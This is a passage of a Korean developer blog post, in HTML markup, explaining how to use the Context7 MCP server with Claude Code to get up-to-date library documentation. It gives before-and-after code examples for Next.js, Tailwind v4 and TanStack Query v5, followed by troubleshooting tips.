&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;런타임 / 번들러&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;Bun, Vite, esbuild, Rollup&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-family: monospace; font-size: 13px;&quot;&gt;/oven-sh/bun&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;마이너 라이브러리는?&lt;/b&gt;&lt;br /&gt;덜 유명한 라이브러리는 Context7 데이터베이스에 없을 수 있다. 이 경우 &lt;code style=&quot;background: #fff0b0; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;resolve-library-id&lt;/code&gt;가 결과를 반환하지 않는다. context7.com에서 라이브러리 추가 요청이 가능하다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. &quot;use context7&quot; 매직 키워드 활용법&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Context7의 핵심 사용법은 아주 간단하다. 프롬프트 어딘가에 &lt;b&gt;&quot;use context7&quot;&lt;/b&gt;를 넣으면 된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기본 사용법&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 기본 형태
Next.js App Router에서 서버 컴포넌트로 데이터 페칭하는 방법 알려줘. use context7

# 특정 버전 명시
Tailwind CSS v4에서 커스텀 컬러 설정하는 방법 알려줘. use context7

# 여러 라이브러리
Supabase와 Drizzle ORM을 함께 쓰는 방법 코드로 보여줘. use context7&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 예전엔 저렇게 명시적으로 use context7이라고 호출 하는 않으면 잘 동작하지 않았지만, 이제는 너무 똑똑해진 시대에 알아서 Mcp를 서치해서 사용하는 모습도 볼수도 있을 것 이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1430&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9qOAt/dJMcafThTh7/pDatDS3CKNls3zDfDIlblK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9qOAt/dJMcafThTh7/pDatDS3CKNls3zDfDIlblK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9qOAt/dJMcafThTh7/pDatDS3CKNls3zDfDIlblK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9qOAt%2FdJMcafThTh7%2FpDatDS3CKNls3zDfDIlblK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2008&quot; height=&quot;1430&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1430&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자동화 설정 (매번 타이핑 없이)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;매번 &quot;use context7&quot;를 입력하기 귀찮다면, Claude Code의 커스텀 룰이나 CLAUDE.md에 다음을 추가하면 자동으로 적용된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;elixir&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# CLAUDE.md 또는 .claude/rules/*.md 에 추가
코드 관련 질문에서 라이브러리나 프레임워크가 언급되면
항상 use context7을 적용해서 최신 공식 문서를 참조할 것.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Claude Plugin으로도 사용 가능&lt;/b&gt;&lt;br /&gt;claude.com에서 Context7을 플러그인으로 설치하면 claude.com 웹 인터페이스에서도 동일하게 &quot;use context7&quot;로 활용할 수 있다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 활용 예시 &amp;mdash; Context7 전후 비교&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실제로 Context7을 사용하면 어떤 차이가 나는지, 대화 흐름과 코드 결과를 비교해 보자.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 1: Next.js 데이터 페칭 &amp;mdash; Before / After&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Context7 없이 (기존 방식)&lt;/b&gt;&lt;/p&gt;
&lt;!-- SCREENSHOT: Context7 없이 Next.js 데이터 페칭 요청 시 구버전 패턴이 나오는 Claude 대화 화면 --&gt;
&lt;div style=&quot;background: #fff0f0; border-left: 4px solid #dc3545; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; Next.js에서 서버사이드로 데이터 페칭하는 코드 작성해줘&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; Next.js에서 서버사이드 데이터 페칭은 &lt;code&gt;getServerSideProps&lt;/code&gt;를 사용합니다...&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #f48771; margin-bottom: 10px; font-family: sans-serif; font-size: 13px;&quot;&gt;AI 응답 예시 (구버전 패턴)&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;// pages/products.js &amp;mdash; Pages Router 방식 (구버전)
export async function getServerSideProps() {
  const res = await fetch('https://api.example.com/products')
  const products = await res.json()
  return { props: { products } }
}

export default function Products({ products }) {
  return &amp;lt;ul&amp;gt;{products.map(p =&amp;gt; &amp;lt;li key={p.id}&amp;gt;{p.name}&amp;lt;/li&amp;gt;)}&amp;lt;/ul&amp;gt;
}

// App Router 프로젝트에서 실행하면 동작하지 않음&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Context7 사용 후&lt;/b&gt;&lt;/p&gt;
&lt;!-- SCREENSHOT: &quot;use context7&quot; 포함 프롬프트 시 resolve-library-id → query-docs 호출이 보이는 Claude 대화 화면 --&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; Next.js에서 서버사이드로 데이터 페칭하는 코드 작성해줘. use context7&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; &lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;resolve-library-id(&quot;next.js&quot;)&lt;/code&gt; &amp;rarr; &lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/vercel/next.js&lt;/code&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;query-docs(&quot;/vercel/next.js&quot;, &quot;server side data fetching&quot;)&lt;/code&gt; &amp;rarr; 최신 App Router 문서 조회&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;Next.js App Router에서는 Server Component에서 직접 &lt;code&gt;async/await&lt;/code&gt;로 데이터를 가져옵니다. &lt;code&gt;getServerSideProps&lt;/code&gt;는 Pages Router 전용이므로 App Router에서는 사용하지 않습니다...&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #4ec9b0; margin-bottom: 10px; font-family: sans-serif; font-size: 13px;&quot;&gt;AI 응답 예시 (최신 App Router 패턴)&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;// app/products/page.tsx &amp;mdash; App Router 방식 (최신)
async function getProducts() {
  const res = await fetch('https://api.example.com/products', {
    next: { revalidate: 3600 }  // ISR: 1시간마다 재검증
  })
  if (!res.ok) throw new Error('Failed to fetch products')
  return res.json()
}

export default async function ProductsPage() {
  const products = await getProducts()  // Server Component에서 직접 await

  return (
    &amp;lt;ul&amp;gt;
      {products.map((p: { id: string; name: string }) =&amp;gt; (
        &amp;lt;li key={p.id}&amp;gt;{p.name}&amp;lt;/li&amp;gt;
      ))}
    &amp;lt;/ul&amp;gt;
  )
}

// App Router 최신 패턴 &amp;mdash; Server Component에서 async/await 직접 사용&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Context7을 사용하면 AI가 최신 Next.js 문서를 참조해서 App Router에 맞는 Server Component 패턴, ISR 설정 등을 정확하게 코드로 제시한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 2: Tailwind CSS v3 &amp;rarr; v4 마이그레이션&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Tailwind CSS는 v4에서 설정 방식이 근본적으로 바뀌었다. 학습 시점에 따라 AI가 v3 방식을 추천할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background: #fff0f0; border-left: 4px solid #dc3545; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; Tailwind CSS에서 커스텀 색상 추가하는 방법 알려줘&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; &lt;code&gt;tailwind.config.js&lt;/code&gt;의 &lt;code&gt;theme.extend.colors&lt;/code&gt;에 추가하면 됩니다...&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #f48771; margin-bottom: 10px; font-family: sans-serif; font-size: 13px;&quot;&gt;AI 응답 (Tailwind v3 방식 &amp;mdash; v4에서는 동작하지 않음)&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;// tailwind.config.js &amp;mdash; v3 방식
module.exports = {
  theme: {
    extend: {
      colors: {
        brand: '#1a73e8',
      },
    },
  },
}
// Tailwind v4는 tailwind.config.js를 사용하지 않음&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;!-- SCREENSHOT: Tailwind v4 use context7 대화에서 CSS 기반 설정이 나오는 화면 --&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; Tailwind CSS v4에서 커스텀 색상 추가하는 방법 알려줘. use context7&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; &lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;resolve-library-id(&quot;tailwind css&quot;)&lt;/code&gt; &amp;rarr; &lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/tailwindlabs/tailwindcss&lt;/code&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;query-docs(&quot;/tailwindlabs/tailwindcss&quot;, &quot;custom colors theme&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;Tailwind CSS v4에서는 &lt;code&gt;tailwind.config.js&lt;/code&gt; 대신 CSS 파일에서 직접 &lt;code&gt;@theme&lt;/code&gt; 지시어로 커스텀 값을 정의합니다...&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #4ec9b0; margin-bottom: 10px; font-family: sans-serif; font-size: 13px;&quot;&gt;AI 응답 (Tailwind v4 최신 방식)&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/* app.css &amp;mdash; Tailwind v4 방식: CSS에서 직접 테마 정의 */
@import &quot;tailwindcss&quot;;

@theme {
  --color-brand: #1a73e8;
  --color-brand-light: #4a9af5;
  --color-brand-dark: #0d47a1;
}

/* 사용: &amp;lt;div class=&quot;bg-brand text-brand-light&quot;&amp;gt; */
/* v4 최신 패턴 &amp;mdash; tailwind.config.js 없이 CSS만으로 테마 설정 */&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 포인트&lt;/b&gt;&lt;br /&gt;Tailwind v3 &amp;rarr; v4는 설정 파일 자체가 바뀐 큰 변화다. Context7 없이는 AI가 v3 방식(&lt;code&gt;tailwind.config.js&lt;/code&gt;)을 추천할 가능성이 높다. &quot;use context7&quot;을 붙이면 v4의 CSS 기반 &lt;code&gt;@theme&lt;/code&gt; 방식을 정확하게 안내해준다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 3: 라이브러리 검색부터 코드 생성까지 전체 흐름&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Context7의 두 Tool이 순서대로 호출되는 전체 흐름을 보여주는 예시다.&lt;/p&gt;
&lt;!-- SCREENSHOT: TanStack Query use context7 전체 대화 흐름 (resolve → query → 코드 생성) --&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; React Query로 무한 스크롤 구현하는 코드 짜줘. use context7&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0; color: #555; font-size: 14px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; TanStack Query (React Query) 문서를 조회하겠습니다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #888; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;Step 1: &lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px;&quot;&gt;resolve-library-id(&quot;react query&quot;)&lt;/code&gt; &amp;rarr; &lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px;&quot;&gt;/tanstack/query&lt;/code&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #888; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;Step 2: &lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px;&quot;&gt;query-docs(&quot;/tanstack/query&quot;, &quot;infinite scroll useInfiniteQuery&quot;, tokens: 5000)&lt;/code&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #888; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; TanStack Query v5 공식 문서에서 &lt;code&gt;useInfiniteQuery&lt;/code&gt; 관련 섹션 3개 조회됨&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;TanStack Query v5에서는 &lt;code&gt;useInfiniteQuery&lt;/code&gt;의 API가 변경되었습니다. &lt;code&gt;getNextPageParam&lt;/code&gt;을 옵션에서 직접 정의하며, &lt;code&gt;initialPageParam&lt;/code&gt;이 필수입니다...&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #4ec9b0; margin-bottom: 10px; font-family: sans-serif; font-size: 13px;&quot;&gt;AI 응답 &amp;mdash; TanStack Query v5 최신 패턴&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;import { useInfiniteQuery } from '@tanstack/react-query'
import { useInView } from 'react-intersection-observer'
import { useEffect } from 'react'

function ProductList() {
  const { ref, inView } = useInView()

  const {
    data, fetchNextPage, hasNextPage, isFetchingNextPage
  } = useInfiniteQuery({
    queryKey: ['products'],
    queryFn: ({ pageParam }) =&amp;gt;
      fetch(`/api/products?cursor=${pageParam}`).then(r =&amp;gt; r.json()),
    initialPageParam: 0,               // v5 필수 &amp;mdash; v4에서는 없었음
    getNextPageParam: (lastPage) =&amp;gt; lastPage.nextCursor,
  })

  useEffect(() =&amp;gt; {
    if (inView &amp;amp;&amp;amp; hasNextPage) fetchNextPage()
  }, [inView, hasNextPage, fetchNextPage])

  return (
    &amp;lt;&amp;gt;
      {data?.pages.map((page) =&amp;gt;
        page.items.map((item) =&amp;gt; &amp;lt;div key={item.id}&amp;gt;{item.name}&amp;lt;/div&amp;gt;)
      )}
      &amp;lt;div ref={ref}&amp;gt;
        {isFetchingNextPage &amp;amp;&amp;amp; '로딩 중...'}
      &amp;lt;/div&amp;gt;
    &amp;lt;/&amp;gt;
  )
}
// v5 필수 옵션 initialPageParam 포함 &amp;mdash; Context7이 최신 문서를 참조한 결과&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;v4 &amp;rarr; v5 차이가 중요한 이유&lt;/b&gt;&lt;br /&gt;TanStack Query v5에서 &lt;code&gt;initialPageParam&lt;/code&gt;이 필수가 되었다. Context7 없이 v4 기준으로 코드를 받으면 이 옵션이 빠져 있어 런타임 에러가 발생한다. 이런 미묘한 버전 차이를 Context7이 정확히 잡아준다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 주의사항 및 트러블슈팅&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자주 겪는 문제들&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제 1: rate limit 초과&lt;/b&gt;&lt;br /&gt;API 키 없이 사용할 경우 낮은 rate limit이 적용되며, 초과하면 &lt;code style=&quot;background: #f5c6cb; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;429 Too Many Requests&lt;/code&gt; 에러가 발생한다. 정확한 한도는 플랜에 따라 다르며 공식 문서에서 확인한다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; &lt;a href=&quot;https://context7.com/dashboard&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;context7.com/dashboard&lt;/a&gt;에서 API 키를 발급받아 설치 시 &lt;code style=&quot;background: #f5c6cb; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;--api-key&lt;/code&gt; 옵션으로 전달하면 더 높은 한도가 적용된다.&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제 2: 라이브러리를 찾지 못하는 경우&lt;/b&gt;&lt;br /&gt;&lt;code style=&quot;background: #fff0b0; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;resolve-library-id&lt;/code&gt;가 결과를 반환하지 않으면 해당 라이브러리가 Context7 데이터베이스에 없는 것이다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; context7.com에서 라이브러리 추가 요청이 가능하다. 또는 라이브러리 이름을 더 정확하게 입력해 보거나 GitHub URL로 시도해본다.&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제 3: MCP 서버가 시작되지 않음&lt;/b&gt;&lt;br /&gt;Node.js 버전이 v18 미만이면 실행되지 않는다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; &lt;code style=&quot;background: #fff0b0; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;node --version&lt;/code&gt;으로 버전 확인 후 Node.js v18 이상으로 업그레이드한다.&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제 4: GitHub Copilot(VSCode)에서 get-library-docs 동작 안 함&lt;/b&gt;&lt;br /&gt;일부 환경에서 Tool 호출 방식 차이로 동작하지 않는 경우가 보고되어 있다. (GitHub Issue #202)&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; Claude Code 또는 Cursor 환경에서 사용을 권장한다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. Context7 없이도 최신 문서를 참조하는 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Context7 MCP를 설치하지 않거나, 지원하지 않는 라이브러리를 사용할 때 활용할 수 있는 대안이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 1. Claude Code WebFetch로 공식 문서 직접 읽기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code에는 URL을 직접 읽는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: monospace;&quot;&gt;WebFetch&lt;/code&gt; 도구가 내장되어 있다. 공식 문서 URL을 직접 전달하면 Context7 없이도 최신 내용을 참조할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;1c&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 프롬프트 예시 &amp;mdash; URL을 직접 전달
&quot;https://nextjs.org/docs/app/building-your-application/data-fetching 를 읽고
 App Router 방식으로 데이터 페칭 코드 짜줘&quot;

&quot;https://tailwindcss.com/docs/v4-beta 공식 문서 참고해서
 Tailwind v4 마이그레이션 체크리스트 정리해줘&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 2. npm 명령어로 버전 정보 빠르게 확인&lt;/h3&gt;
